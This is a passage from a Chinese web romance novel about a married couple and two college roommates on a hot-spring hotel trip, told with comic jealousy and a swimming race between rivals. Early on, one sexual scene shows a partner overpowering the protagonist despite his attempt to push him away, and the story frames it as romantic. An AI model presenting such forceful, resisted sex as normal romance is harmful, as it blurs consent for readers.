左梓轩附和道:“对,就是,反正明天周六。” 岑康宁觉得这个建议的确不错,毕竟他跟舍友们好几个月不见了,曹帅好不容易回来一趟,他也的确是想跟大家一起玩一玩。 唯独只是周五晚上这个特殊的时间让他有些迟疑。 可转念一想—— 昨晚不就已经是周五晚上了吗? 想到这里,岑康宁放下心来,答应了两个舍友。 “好,晚上我们接着续摊。” 他这么说。 随后,给祁钊发去今天的第二条微信。 “钊哥,今天晚上我跟舍友出去玩,晚上可能太晚就不回了,你不用等我。” 发完岑康宁送走两个舍友。 但直到下午两点整,他坐在自己棉花坐垫铺就的舒适工位上,依然没有收到回信。 其实照理说,以祁教授的忙碌程度,就算他一整天都不回复消息也很正常。曾经还有一回,祁钊做实验,从早到晚都没顾得上看手机。 可不知怎的,今天下午的岑康宁心神不宁。 坐在图书馆工位上短短十分钟,他就看了三四回微信。 就连夏老师都看出他的不对劲,问他:“小岑,今天怎么了?是有什么要紧事儿?” 夏玉兰的言外之意其实是,要是有事就直接溜吧,没人管你。 但岑康宁没听出来,只当夏老师是关心自己。 “没事儿。”他笑着说。 “就是平时总是秒回信息的人今天忽然老半天都没回,我有点儿担心。” 夏老师了然道:“你老公吧?” 岑康宁脸皮一烫,正要否认。 夏老师摆摆手:“年轻人,新婚燕尔的,我懂我懂。但你记住了啊小岑,这婚姻啊,偶尔的距离感也很重要,听没听说过小别胜新婚这句话?” 岑康宁:“听倒是听说过。” 但这句话压根儿跟今天的事儿没关系啊。 夏老师:“那不就完事儿了,他吊你,你也吊着他,看谁憋的住气!” 岑康宁:“……” 说实话,三点钟的时候岑康宁倒是还真想过用这种幼稚的手段报复回去,但四点钟的时候他就已经完全不这么想了。 能这么长时间没回微信,肯定是忙到不能更忙。 他还是别给钊哥添乱了。 再说了,以祁钊的性格,昨天耽误了那么多工作他今天肯定想最快速度不上。这样一想,岑康宁就完全不担心了。 于是下班前他给祁钊最后发了一条消息: “在忙的话就不用回我啦,工作加油【笑脸】【笑脸】。” 发完岑康宁就把微信的事儿完全抛之脑后了,他也没打算在学校食堂吃饭,而是打算回公寓一趟,洗个澡换个衣服,然后就准备出发跟舍友们聚餐玩乐去。 下午五点钟的太阳依旧毒辣。 也还没到下班高峰期,地铁上不算拥挤。 岑康宁最快速度下了地铁,回到公寓,身上只出了一层薄薄的汗。于是他像以往一样,用指纹开锁后,打算直奔客厅冰箱,先来一杯冰可乐解解暑。 却不成想。 刚一推开门,就被一个高大的人影所笼罩。 “钊……” 岑康宁眼前一亮,哥字还没说出口,整个人便被猛地压在了玄关处。 祁钊的身上带着明显的水汽,头发也湿漉漉的显然还没完全干透。 一滴冰凉的水珠从他的头发上滴落下来,顺着岑康宁的脖颈,一直渗透进很深很深的地方。 刚回来身上还带着外头燥热气息的岑康宁显然有些不太适应,于是试图将人推开,但今天下午的祁钊不知怎么了,力气大的可怕。 岑康宁用尽浑身力气也没办法将他推远。 反而在不经意间,被脱了衣服。 又因为昨晚刚刚经历过相同的事情,两次相隔时间太短,所以这一次甚至无需太多前戏,很快速地,就被顶了进去。 岑康宁清晰地感到自己在被占有。 以一种前所未有的强势姿态。 狂风骤雨一般。 起先在玄关,后来在客厅,再后来又是浴室…… 最后两人终于滚回大床上的时候,岑康宁的脑海里只剩下两个字: “疯了。” 无论是祁钊,抑或是自己。 而这场忽如其来,酣畅淋漓的sex所带来的后果就是,岑康宁手机上多了五六个未接,以及一长串的微信消息。 趴在床上疲惫不堪像是跟人打了一架的岑康宁:“……” “都怪你。” 他嘟哝着,用脑袋砸了身边人胸口一下,嗔怪道:“周五晚上昨天不是过完了吗?怎么,现在连下午也算晚上了?” 而造成这一切的幕后黑手不说话,唯独只一边安静地给岑康宁酸痛的身体按摩,一边看着岑康宁手机上发来的文字消息。 给岑康宁发消息打电话的人主要有两个。 其中一个人的备注是:老五;一个人则是三哥。 老五一共给岑康宁打了两个电话,发了三条消息,在确认岑康宁短时间内都没有回复后就不再重复发送了,唯独只是告诉他,让他看到以后给自己回个信儿。 三哥却不同。 太不同了。 首先是电话,几乎每各隔十五分钟,三哥都会打来新一轮的电话。 其次是微信,三哥的微信消息几乎霸占了岑康宁所有的通知栏。 而三哥每一条微信的前缀都是两个字: 宁宁。 “宁宁,你怎么不接电话啊,是不是睡着了?” “宁宁,睡够啦,说好的晚上出来玩呢?你不会想放我俩鸽子吧?” “宁宁……” “宁宁……” 祁钊面无表情地看着屏幕里一长串的宁宁,忽然间,一种很微妙的不适感袭来。 这种不适的感觉令祁钊感到烦躁。 烦躁程度甚至堪比今天下午实验结束后孔宇真找到他说的那番话。 “师兄,我今天遇到嫂子了。” “嗯。” “他跟两个好哥们在一块儿,带着俩哥们参观学校呢,打打闹闹说说笑笑的,笑得特别开心。” “……” 祁钊抿了抿唇,本不欲将此事放在心上。但在低头看到岑康宁中午发来的消息后,不由得怔在原地。 所以,特别开心是什么程度的开心? 百分之三十? 百分之五十? 抑或者是,百分之七十,连合约都不想遵守的那种开心。 原本他觉得也许最多是百分之七十,最多最多不超过百分之七十一。但此时此刻,看到岑康宁给对方电话时唇角上扬的弧度,以及那双桃花眼里闪烁的喜悦光芒,一个可怕的猜想不由得自直觉处产生: 有没有一种可能。 是百分之九十? — 岑康宁对此毫不知情,只一味地在电话里赔礼道歉。 “对不起对不起,我真没想到自己会睡熟了。” “我错了,真错了。这样,这两天咱们的吃喝玩乐我都包了好吧?你们谁都别跟我客气。” “怎么会呢,我怎么可能忘记哥几个的约定!” 岑康宁看了祁钊一眼,随后信誓旦旦道:“我发誓,要是说谎就让我下回吃泡面没调料包。” 也许是这个誓言实在太狠。 这回电话那头总算消停。 看来是个人都知道方便面对岑康宁的重要性。 殊不知某人心想,没调料包的话就让身边儿某个姓祁的给自己解决,反正他不管,谁惹的祸谁收拾。 想到这里岑康宁多少有些得意,眉眼的弧度不由得又多弯了几分。 而这时,曹帅才在电话那头道:“行了,不用你请,你快点儿收拾好我们出发就行。对了,周六没事儿吧,没事儿的话这次出发带上泳衣。” “泳衣?” 岑康宁一愣:“带泳衣做什么?” 左梓轩的大嗓门响起:“帅哥公司发福利,请员工免费去新开的温泉酒店,他有好几个同事都不去,帅哥就把票低价收过来了。” “真的啊?” 一听这话岑康宁难免开始期待。 毕竟从小到大,他还真没去过温泉酒店。老早就听人家说泡温泉很舒服,尤其是对打工人来说,非常放松。 岑康宁上班虽然没有多辛苦。 可要不怎么说来的早不如来得巧呢? 这不,刚刚结束了一场全身运动,他正感到浑身酸痛的厉害。 原本的打算是泡个澡。 但要是有温泉谁还愿意泡澡? 只是……岑康宁低头看了眼自己的身体,偏白的皮肤上有些红痕格外明显,一看就知道是什么情况下留下的印记。 不过问题其实也不是特别大。 首先是这种红痕过阵子就消了,其次,岑康宁只要穿保守一点的泳衣就没问题。 他想了想,决定去。 “那行,走呗。” 岑康宁说:“好不容易有这样的机会。” 曹帅在电话那头显得很高兴:“好,那你准备一下,老五开他家的车,你把地址发给我们,我们马上去你家楼下接你。” 岑康宁正要说好,待会我微信发你。 一旁沉默的祁钊却忽然开口:“在哪里?” 岑康宁:“啊?” 曹帅:“……” 祁钊没什么表情看着已经迫不及待要去温泉酒店的岑康宁,没带眼镜的双眼乌黑沉静:“温泉酒店。” “哦,温泉酒店。”岑康宁回过神来,但他下意识地以为,祁钊是想送他去,便拒绝道:“没事儿钊哥,他们有车,我们就三个人,带我没问题。” 岂料祁钊挑眉,说:“我不能去吗?” 岑康宁:“……” 就在岑康宁觉得今天的祁钊实在是太反常的时候,电话那头,曹帅也已经从惊讶中找回了理智。 他高声道:“能啊,怎么不能,我这儿好几张票呢。宁宁,让祁教授一块儿来吧,正好我们都还没在一起吃过饭,上回匆匆一瞥连招呼都没好好打。” 左梓轩也在一旁起哄道:“来来来,我们一起去!” 岑康宁无奈,只能选择同意。 虽说他还是不知道祁钊葫芦里卖的什么关子,但他想,只是泡个温泉而已,应该不会有什么问题。 说不准祁钊只是这两天科研太累了,想放松放松。 这样想着,岑康宁点了头:“那行,三哥要不你直接把温泉酒店定位发给我,我们直接酒店见。” 电话那头曹帅连声同意。 两人挂断了电话。 然而十五分钟后,穿着最普通纯白色短袖,搭配灰色大短裤的岑康宁面无表情看着一身白色阿玛尼高定西装,袖口还用了宝石袖扣的祁钊,想破了脑袋也没想明白,只是泡个温泉而已,祁钊为什么要把自己打扮地像个开屏的孔雀? 甚至他吸了吸鼻子,还在空气里闻到一股冷冽低调的古龙水味道。 卧槽。 连香水都喷了。 姓祁的到底是要勾引谁去?! 作者有话说: 雄竞开始![奶茶][奶茶] 第56章 去温泉酒店的车上。 岑康宁越想越不对劲,心里不是个滋味。 他斜眼睨着驾驶座上一如既往神情淡定的祁钊,不知不觉,开口说话的语气就带着几分酸溜溜的味道。 “钊哥,还是第一次见到你这样精心的打扮,晚上有打算?” 祁钊目视前方,表情云淡风轻:“有吗?” “没有吗?” 岑康宁反问。 说着他低头看向祁钊身上昂贵的白色西装,下意识地咬了下唇,眼神里闪过一丝连自己都没料想过的嫉妒。 “这一身儿白色西装从来没见你穿过,你跟我领证的那天都没有。” 岑康宁开玩笑道。 其实以岑康宁的知识储备,他完全无法判断出西装的好坏。 在他看来祁教授身上的西装肯定都是高级货。 而且祁钊身材样貌在那里放着,穿什么都好看,都跟模特一样没区别。 然而今天祁钊上身的这套西装却不同以往。 不仅是它黑曜石的宝石袖扣彰显出其不一般的地位,服帖高级的裁剪愈加彰显祁钊高大挺拔的身材。 更重要的是,白色实在是太适合祁钊了。 当祁钊穿着这一身从衣帽间里走出来的时候,毫不夸张地说,一瞬间让岑康宁想到了结婚现场。 还是那种电影里才会有的结婚现场。 像是童话里的白马王子,踩着气定神闲的步伐朝自己一步步靠近。 心跳不受控制停滞了一瞬。 紧随其后的则是砰通砰通,有如擂鼓敲响一般的声音。 岑康宁一眨也不眨地看着祁钊,那一刻,童话走向现实,梦中才会有的场景于眼前出现。 然而很快,鼻尖嗅到一抹淡淡的古龙水味道。 将岑康宁唤醒。 他开始清醒,并不受控制地感到妒忌。 因为那个可能存在的,让祁钊为他如此精心打扮的人而妒忌。 会是谁呢? 安? 孔宇真? 他们今天也去温泉酒店? 岑康宁在心中阴暗揣测着。 其实他知道自己没什么资格揣测,也没什么资格妒忌。但有些时候,人是无法控制住自己感情的。 尤其是祁钊并不承认,甚至一直否认的情况下。 “你想多了,只是最普通不过的衣服。” 祁钊道。 恰逢一个十字路口,他将车不紧不慢停下。 八月底的天渐渐短了。 下午七点钟夜幕便已然降临。 而在这薄雾一般的夜幕里,霓虹灯下,一肚子酸水的岑康宁看着祁钊淡定的表情,此时此刻心中只有忿忿不平的两个字: 撒谎精。 — 与此同时。 在岑康宁看不到的A市另一个角落里。 他不知道的是,曹帅也正在挑选自己的战衣。 某商场专柜里,他一共让柜姐给自己推荐了三四套衣服,三四套都试好以后,曹帅说什么都要让左梓轩给自己评价个1234出来。 左梓轩为此极度困扰。 毕竟左梓轩就是个大直男,平日里不修边幅的,在他看来这些衣服基本上没什么区别。 而且还这么贵。 根本不值得。 可曹帅说什么都不走,今天下午就非得买一套。 左梓轩人都麻了,偷偷把他拽住,用柜姐听不到的声音劝他:“三哥你疯了,你看没看见这一身儿要多钱呐,快顶我一个月工资了,你要是实在没衣服穿,我们去隔壁优衣库啊,到这儿试什么?” 曹帅却看了他一眼,态度不变,轻描淡写:“没事儿,我心里有数,不算特别贵。你就告诉我哪一身最好看就行。” 左梓轩:“……” 左梓轩心想这人八成是有钱飘了。 泡个温泉又不是去相亲,穿那么好看给谁看? 然而又实在拗不过曹帅,只好胡乱挑了一套说:“这一套吧,你穿这身稍微顺眼点。” “好。” 曹帅于是当场拍了板。 将这身一身接近五千块钱的衣服拿下。 付钱的时候左梓轩心里仿佛在滴血,一直嘟哝着三哥你真的太飘了。 但曹帅始终态度坚决。 直到两人上了车,曹帅才告诉左梓轩:“你不懂,老五,我们其实是作为宁宁娘家人出面的,不能给宁宁太丢脸。” 左梓轩:“…………” 足足半分钟后车厢里传来一声尖叫。 “不是你早说啊,早说我租也租一套去!” 曹帅:“没事儿,你还是学生。” 左梓轩:“被你这么一说更觉得自己拿不出手了怎么办?都23了,还是学生。” “哈哈,谁让你当初选择读研呢?” “我懂我懂,读研低人一等,读博更是低人等中等是吧!” 车厢里登时响彻一阵快活的笑声。 不过话又说回来了。 “祁教授不也是博士?” “额……他跟一般人不太一样。” “哪里不一样?” “听说他23岁的时候好像已经博士毕业。” 左梓轩:“……” 因为曹帅扎心的言论,后半程的车程中,一向健谈的左梓轩愣是一句话都没说。 还是快到酒店门口了。 他看到前方路口一辆熟悉的银灰色赛博皮卡,才眼前一亮,说: “咦,这个车,是祁钊的吗?” 曹帅也看了一眼:“好像是,我听老大说过,这车可不常见。” 左梓轩不由得夸赞:“这车真帅啊,赶明要是小宁宁提车成功,我高低也要开上一把。” 但出乎意料的是,这句话却没有得到回应。 左梓轩等了好一会儿都没等到回复,实在纳闷,就扭头看了曹帅一眼。 结果就看到曹帅双目迥然的目视着前方,手不自觉攥紧着。那神情,那姿态,俨然就是当年曹帅参加校运会三千米长跑前的战斗模样。 左梓轩记得非常清楚后来那场比赛曹帅拿了第一。 谁也别想在跑道上战胜这样的帅哥。 可问题又来了。 今天难道不是泡温泉吗? 就在左梓轩百思不得其解的时候,车却已经缓缓驶入酒店匝道。 夜色中的温泉酒店灯火通明。 无论是车或者人,每走几步眼前都有人指引。 不费多少功夫,左梓轩就将车开到了停车位上,并在服务生的指引下,同曹帅一齐走到酒店大厅。 而此时此刻装修风格金碧辉煌,宛若宫殿的大厅内,岑康宁同祁钊也是刚好抵达。 下车前岑康宁收到三哥微信,说是要大厅集合。 岑康宁说好,便跟着服务生走到大厅。 刚等不到一分钟。 身后传来左梓轩熟悉的大嗓门。 “小宁宁!” 酸了一路的岑康宁心情总算有些舒展,他扭头,笑道:“老五,你们到啦!” 左梓轩眉飞色舞道:“刚刚路上就看见你们车子了,那车可真帅啊!” 岑康宁又笑了笑:“那还挺巧。三哥呢?” “上厕所去了。” 左梓轩说:“祁教授呢?” 岑康宁看向身侧正与大厅经理沟通的祁钊:“这不。钊哥,这边儿,跟你介绍一下我大学舍友。” 祁钊于是停下沟通,扭头走向岑康宁。 而也是这时,左梓轩第一次近距离看清楚这位大名鼎鼎的学术界精英。 左梓轩的第一反应是,靠!三哥不愧是三哥,的确有先见之明。 就祁钊这一身考究的白色西装。 普通人的穿着打扮一般还真没办法盖得住。 而第二反应则是: 祁教授有多高啊? 为什么感觉比自己高了大半头,气势这么强?有那么一瞬间左梓轩感觉自己像是见到了自家导师一样,宛若老鼠见了猫,当场被血脉压制,左梓轩不由得想起自己难产的课题。 幸好很快岑康宁的介绍让左梓轩恢复清醒。 “钊哥,他是左梓轩,我舍友,当时床位住我隔壁。” “你好,祁钊——” 看到面前彬彬有礼伸出的那只手,左梓轩回过神来,余魂未定地咧开嘴笑道:“您好,左梓轩。宁宁舍友,宿舍排行老五。祁教授叫我梓轩就行。” “好的,梓轩。” 祁钊点头道。 这时姗姗来迟的曹帅终于舍得从厕所里走出来了。 他身上穿着的那身儿衣服便是今天下午才在专卖店里购入的高级套装。 凭心而论曹帅穿着挺帅的。 他本人虽然如今在大厂工作,但其实是体育生出身,人长得人高马大,身材远比一般人好,人群中也属于衣架子那种类型。 虽然大厂工作的这段时间让他肌肉消减了不少。 但毕竟底子摆在那里。 而且工作以后也不是没有好处,好处就是长时间呆在室内,日照少了,皮肤也白了不少。 曹帅本来五官就不差。 只是皮肤黑了点儿。 在黑这个缺点得以弥补以后,再配上今天精心的穿搭,完全称得上是个帅哥,毫不夸张。 然而,遗憾的是在这个世界上帅哥也分等级。 单站出来挺吸引人眼球的曹帅,跟今天特意穿了白色西装的祁钊比起来,便瞬间变得没有那么耀眼。 说实话就是。 祁教授今天实在是帅的过分了。 也不怪岑康宁酸了一路。 自打祁钊下了车,从遇到的服务生,再到大厅里的经理,客人,甚至扫地阿姨,谁都没忍住多看祁钊几眼。 刚刚甚至一个扫地阿姨看得眼睛都直了。 还有个路人小姑娘眼巴巴地看着祁钊,差点撞到柱子上。 今天的祁教授就是这么帅气。 也因此,曹帅跟祁钊对上视线的第一眼,就知道自己输了。 但曹帅没有陷入失落,毕竟来之前他就知道祁钊长什么样,也一直非常清楚自己从外表上比不上祁教授。 他就是有点儿淡淡的惊讶。 怎么祁钊今天也穿得这么帅? 偶然? 但这不妨碍曹帅在心里跟祁钊较劲儿。 各种方面较劲儿。 其实曹帅也觉得自己的心理有点儿奇葩,明明自己什么都不是,宁宁跟祁钊都结婚了,他一点儿跟人竞争的机会都没有。 可为什么曹帅总觉得俩人结婚的事情有蹊跷呢? 大概还是自己太不甘心吧。 曹帅想。 不过很神奇地一点是,哪怕很清楚自己各个方面都比不上祁钊,但在祁钊看向自己的那一瞬,曹帅却依然异常清晰地感受到来自祁钊的微妙敌意。 那种敌意不是说祁钊讨厌他这个人。 而是往往在雄性生物择偶时才会出现的,一种专有的,排斥竞争对手的敌意。 电光火石间,原本还没那么上头的曹帅瞬间被这股“敌意”点燃了。 一场看不到硝烟的战斗。 就这么悄无声息地在不言不语中拉起战线。 …… 要说男人间的雄竞,说穿了也就是那几个点。 拼外表,拼实力。 迅速地,在第一回合过招结束后,几乎是瞬间,下一个回合的战斗便打响。 岑康宁跟左梓轩都还没意识到发生了什么事儿。 打完招呼后,曹帅就率先开口道: “走吧,身份证都带了吧,我去给咱们办入住去。” 他手上有好几张这家酒店的房卷,是公司发下来的福利,不仅有住宿,还包温泉,早饭。 可以说是相当拿得出手的东西。 毕竟这家酒店一看就不便宜。 但曹帅还是没想到,自己早就安排好的事情,被祁钊横插一杠子。 “不用,我已经办好了。” 祁钊道。 岑康宁诧异:“啊?你怎么办的?卷不是在三哥手上吗?” 祁钊淡定道:“刚刚问了经理,公司赠房一般是普通标间。” 左梓轩道:“普通标间很好啊!免费的多香呐。” 岑康宁也深以为然:“就是就是。” 要不是免费,今天晚上岑康宁还不来呢。 结果祁钊说:“没关系,难得出来一趟。” 这时大厅经理笑容满面地过来说:“四位晚上好,刚刚这位先生定的豪华总统套间一共三间已经帮各位开好了,请问现在需要我带您过去吗?” 岑康宁、曹帅、左梓轩:“……” 说实话,曹帅一时懵了几秒。 他从来没想过祁钊会出这一招,一下子就把他打懵了。 虽然曹帅这几个月也的确是赚了些钱吧,可一下子三间豪华套间,这也太夸张了吧? 曹帅人都快傻了。 幸好岑康宁当时就一把拽过祁钊,把人拽到角落里,疯狂给人使眼色:“钊哥,你干什么?” 祁钊表情如常,如实道:“帮大家订房。” 岑康宁:“我看你是钱多了烧得慌。” 祁钊挑了挑眉。 岑康宁深呼一口气,凑到他耳边小声耳语:“这样让我舍友好尴尬,明明说好了我们是来蹭福利的。拜托钊哥,我知道你不喜欢普通标间,但就今天一晚,可以吗?” 祁钊:“……” 在岑康宁恳求的眼神下。 总统套间最后没成。 但祁钊最后将标间加钱换成高级大床房的要求得到了满足。 虽然也不知道这两点哪一点会对曹帅造成的伤害更深一些,不过至少,曹帅的公司免费福利没有浪费。 左梓轩松了口气的同时,开玩笑说:“还好换了,不然我一个人晚上住那么大一个套间,我会做噩梦的。” 岑康宁疯狂点头表示赞同。 虽说,他不是一个人睡就是了。 可是那也大啊。 也不知道祁教授是怎么想的,免费的不住,非要住又贵又不实用的。 这样心里吐槽着。 四人走到房间,分别换上了泳衣。 岑康宁其实没带泳衣,他衣柜里就没有这玩意,甚至连游泳他都不会。 不过现在这种一站式服务的温泉酒店什么都有。 岑康宁就在办理好入住以后,随便在酒店的商店里选了一身。 倒也不便宜,一个最普通的泳裤都要二百块。 但二百块也还在岑康宁的接受范围内。 他二百块买了一个大泳裤的同时,还买了一件儿短袖上衣。 其实一般男生都不穿这玩意,大家都是光膀子。 只是今天岑康宁情况特殊,他得把自己身上昨晚加今天下午的痕迹遮一遮。 尤其是胸前的那两个点。 又红又胀的。 一看就知道不久前才发生过一些什么。 扪心自问岑康宁还没开放到这种程度,尤其还当着两位舍友的面。 于是他快速地穿上了短袖,将一切都遮掩在泳衣里。 然而岑康宁换好衣服后一转身—— “祁教授?” “在。” 祁钊应了声,仍旧自顾自整理着身上的浴袍。 岑康宁却已经彻底无语了,完全说不出话来,脸腾地红了一大片的同时,愤怒的火苗在桃花眼眸中闪闪跳跃。 要说祁钊的肌肉身材暴露在外头也就罢了。 毕竟俩人也勉强算“老夫老妻”。 尤其是最近两天,岑康宁什么没见过? 大长腿,胸肌腹肌人鱼线……说句不好听的,都摸累了,边际效用递减了。 可祁钊他竟然把自己咬出来锁骨印也露在外面。 还有胸口处他挠出来的指甲印儿。 岑康宁:“……” 头脑足足发昏了整整一分钟,各种各样的黄/色幻想在他头脑中疯狂涌现。 一分钟后,岑康宁才勉强忍住自己再把人扑到的冲动,压着嗓子问他: “钊哥有没有想过待会儿别人问你身上的印儿怎么解释?” 祁钊已经整理好了自己的“造型”,看了眼岑康宁后,给他身上也套了一件相同的浴袍,确保将岑康宁裹得严严实实,一点儿也不露后,方勾唇: “就说,是我家猫挠的。” 作者有话说: 男人的小心思就是多! 哼哼 情人节快乐呀宝宝们[撒花][撒花] 第57章 “鬼才信!” 岑康宁一把拽住祁钊身上的浴袍带,仿照着方才祁钊给自己穿衣服的方式,把浴袍给这个从今天下午开始就不对劲的开屏孔雀穿好。 一直裹到连半点儿肌肉线条也看不到的程度。 岑康宁才算满意。 他张牙舞爪地威胁道:“你给我把衣服穿好了,别想到处勾引别人,别忘了我们的合同!” 祁钊感到些许意外,冷峻的表情罕见露出困惑:“为什么会认为我是在勾引别人?” 岑康宁:“难道不是?” 憋了一肚子的酸水终于在此刻释放而出。 岑康宁不忍了,忿忿不平看着眼前魅力四射的男人,想到方才走在路上路人看他的表情,牙痒痒的厉害。恨不得将人再啃一口:“刚出门我就想说你了,干嘛穿那么帅?今天难道不是只泡个温泉?” 但对这件事,祁钊的反应却…… 他站在原地,安静看了一会儿岑康宁后,开口:“你觉得我穿得帅?” 岑康宁:“?” “是帅啊,怎么了,不给我夸?” 岑康宁实话实说,这点还是必须要承认的。 要是祁钊不帅,他何必吃这一路的醋。 祁钊:“没什么,只是觉得你也很帅。” 岑康宁:“……” 云淡风轻的一句话,方才才下去的脸颊温度似乎又再度有了上升的趋势。 可恶! 姓祁的现在也学会转移话题了。 赶在闹个大红脸之前,岑康宁把身体背了过去,严肃脸说:“好了,快出门吧,三哥他们该等急了。” 这样说着,却又还是忍不住垂眸,小声嘟哝了另一句:“你不穿衣服的时候更帅。” 所以不想给别人看见。 — 酒店温泉中心。 曹帅跟左梓轩俩人倒是的确早早到了。 不过却并没有等得着急。 因为去温泉中心的必经之路上,竟然被两人发现一片极大的恒温泳池。 左梓轩倒还好。 死宅虽然会游泳,却也不擅长,不喜欢。 曹帅就不一样了。 几乎是看到泳池的瞬间,他就脱掉身上的浴袍跳了下去。 不一会儿的功夫他在泳池了游了个来回,把岸上的左梓轩看得不住鼓掌。 “帅啊帅哥!宝刀未老呀这是。” 曹帅游了一圈儿从水里钻出来,笑着露出一排白牙:“还行吧?我没计时,但很久没游了,估计慢了不少。” 这时两人的身后传来一道熟悉的声音,带着明显的笑意。 “怎么会,我帮你计时了,一点儿都没慢。” 岑康宁道。 说着他走向两人,把手机上的计时拿出来,给曹帅看了一眼。 曹帅感到惊喜:“你什么时候过来的?” 岑康宁道:“就刚刚,你一个飞跃跳进水池子里的时候。” 左梓轩:“哈哈,我就说帅哥宝刀未老吧!” 岑康宁:“谁说不是呢,想当年校游泳比赛,三哥可是独领风骚。” “喂喂!你们再这样夸我我要飘了啊。” 曹帅道。 可话虽这么说,明眼人一看就看出来他的高兴,高兴到嘴都合不拢的程度,一排白牙格外耀眼。 直到这时,祁钊也不紧不慢地走了过来。 虽然他身上的白色西装已经脱下,此刻像其他人一样,只穿一身最普通的白色浴衣。 但此人蜂腰窄臀,腿长脸好。 浴衣也被他穿得别有一番气场。 曹帅眼尾余光瞥见他接近,不由得,脸上的笑容僵硬两分。 他将眼神自如地挪回来,故作轻松的语气道:“怎么说?要不你们也下来,比一比?” 岑康宁一听连声拒绝:“不不,我连游泳都不会。” 左梓轩倒是会,但他说:“我就不要下去自取其辱了吧?” 而曹帅在被两人拒绝后,方图穷匕见,开玩笑的语气问祁钊:“那祁教授呢?要不要下水玩玩?” 岸上。 左梓轩与岑康宁同时因为这句话睁大了眼睛。 左梓轩关注到的自然是曹帅。 帅哥脸上的表情他再熟悉不过,不就是刚刚那会儿车上的那个备战表情么! 所以,原来曹帅是打得这个主意? 左梓轩惊呆了。 其实大家在同一个宿舍,左梓轩当然不是对曹帅的想法毫无知觉,只是小宁宁都结婚了,再喜欢也该放弃了吧? 没想到竟然到现在还不放弃。 还要跟祁教授比拼。 这…… 异常迟钝地,左梓轩终于在空气中嗅到了一股硝烟弥漫的味道。 而那头,岑康宁的第一个想法却是—— 糟了,要游泳。 钊哥身上的那些印子怎么办? 岂不是通通暴露于人前。 但转念岑康宁放下心来,想,没事儿,以祁钊的性格,多半不会掺和进这种幼稚的比赛里。 结果祁钊:“好啊,比一比。” 岑康宁:“…………” 说时迟那时快,一场战斗眼看着就即将在泳池里打响。 左梓轩是个看热闹不嫌事大的主,一听祁教授答应了,立马脸色一变,从方才的紧张变成了期待。 “好好好我来计时,当裁判!谁输了谁今天请宵夜!” “好。”/“行。” 两个参赛者满口答应。 其实谁都知道宵夜只是小钱,最重要的是男人的尊严,以及那点儿微妙的雄竞心理。 曹帅挑眉道:“那祁教授想用什么泳姿比,我都行。” 祁钊:“我是业余选手,没有泳姿可言。” 曹帅道:“那就自由发挥吧,随意什么泳姿都行,从起点到终点,一个来回定胜负。” 祁钊:“行。” 此时二人的身旁也已经开始簇拥起一些看热闹的围观人群,这场比赛的性质也在无形之中变得更为严肃正经。 不过对这场胜负最为紧张的人,除了两个比赛者以外,自然要数左梓轩。 此刻,左梓轩在心中衡量着两人的身体素质,心想,恐怕还是帅哥会赢吧。 虽然他也蛮想支持正宫的。 但曹帅可是正儿八经的体育生,而且游泳的实力有目共睹。 祁教授的身体素质看上去倒是也不错,可是怎么能跟正儿八经的体育生比呢? 尤其祁钊刚刚连泳姿都不敢选。 说自己是业余选手。 该不会一会儿泳姿跟自己一样是狗刨吧? 左梓轩正这么乐呵呵地想着,与此同时,手指按下计时键,结果—— “祁教授,你管这么标准的自由泳叫业余?” “你这样的叫业余,那我叫什么?叫初学者?” 左梓轩站在岸上看到不分高下的两人人都快傻了。 一时间他不知道该怎么去理解祁钊那句“业余”,直到两人都快游到尽头了,他才意识到: 也许祁教授的“业余”,指的是没达到去奥运会的水平。 “……” 最后这场比赛不出意外俩人打平了。 总之在左梓轩肉眼可分辨的区域内,完全分不清楚两人的前后。 唯独只是出水后的状态两人有所不同。 祁钊一看就还留有余地,呼吸略有急促,但尚且算是平稳;曹帅则已经完全喘地上气不接下气,勉强维持着呼吸。 泳池边响起围观群众们热烈的掌声。 就在众人惊叹的目光与掌声中,左梓轩走向两人,笑道:“恭喜打平了,二位,今晚宵夜我买单好了。” 曹帅虽然还很不甘心,但也不得不承认,自己最近确实是没能赢下这场比赛。 尤其是明眼人一看就知道,祁钊还留有余力,而自己已经是全力以赴。 “是我输了。” 曹帅道。 祁钊的反应则很淡定,说:“不用谦让,的确是同时到达。” 左梓轩:“祁教授说的对,确实是同时,我是裁判我说了算!” 曹帅:“……行。” 然而这句行却似乎是从嗓子眼里逼出来的一样,要多勉强有多勉强。 左梓轩心大些,没注意到语气的不对劲。 若是岑康宁在场的话一定能发现,让曹帅前后态度发生如此之大变化的原因,正是临行前祁钊身上那被浴袍盖住的咬痕。 比赛的时候看不见。 这会儿出了水,锁骨上的痕迹清晰可见,赫然是一个齿印。 能是谁留下的呢? 大床房已经说明一切。 是以曹帅此刻心情复杂,已经完全无暇再去思考游泳比赛的事情。 至于祁钊…… 祁教授在出水后的瞬间,视线便在人群中宛若雷达一般扫过。 可惜,想要找到的人早已不在这里。 想象中的惊艳表情也并未出现。 祁钊的脸上闪过一丝不易见的失落。 而此时此刻的酒店室外温泉。 没出现在泳池边的某人,正一个人偷偷猫在最角落处的一个小温泉里,独享经验。 三十九度的温泉水不烫不冷,温度刚好。 抚平身体酸痛的同时,也让岑康宁原本紧绷的精神逐渐放缓。 此时也正值月上中天。 头顶上方一轮明月高悬。 温柔的月光洒在岑康宁的身上,周边时不时吹来山风,再加上酒店提供的零食果盘饮料就放在手边—— “傻子才看你们的游泳比赛!” 岑康宁吐槽道。 是的,他很没出息的偷偷溜了。 只要一想到祁钊身上的痕迹有可能被看见,岑康宁就浑身不对劲儿,尴尬到脚趾扣地。 他自诩没那么厚的脸皮。 所以在看到祁钊准备下水的瞬间就偷偷跑了。 好在那两个雄竞上头的大傻子根本没发现他不见,而且有不少游客都被这俩人的游泳比赛吸引了注意力,外头的温泉根本没多少人。 岑康宁毫不费力就找到许多个空空如也的池子。 最后在一众空池子中,他选了这个隐藏在竹林里的艾草中药汤泉。 泉水散发着淡淡的艾草香气。 池子看上去也非常干净,还没人进去泡过。 岑康宁想都没想,直接脱掉浴袍走了下去。 一开始进来的时候会觉得水有些烫,适应了以后会觉得刚刚好,很舒适,有一种浑身上下都放松了的感觉。 难怪那些有钱人有事没事儿周末都爱去泡温泉呢。 岑康宁心想。 确实舒服。 在温暖的泉水中,岑康宁逐渐放松,开始享受。甚至觉得,上半身的短袖有些碍事了。 虽然这件短袖也是泳衣的材质。 但湿了水以后贴在身上,自然不如皮肤直接接触温泉舒服。 而岑康宁眼看四下无人,这处小温泉也不太可能有人过来,不由得,想要脱掉上衣舒坦泡温泉的想法达到顶峰。 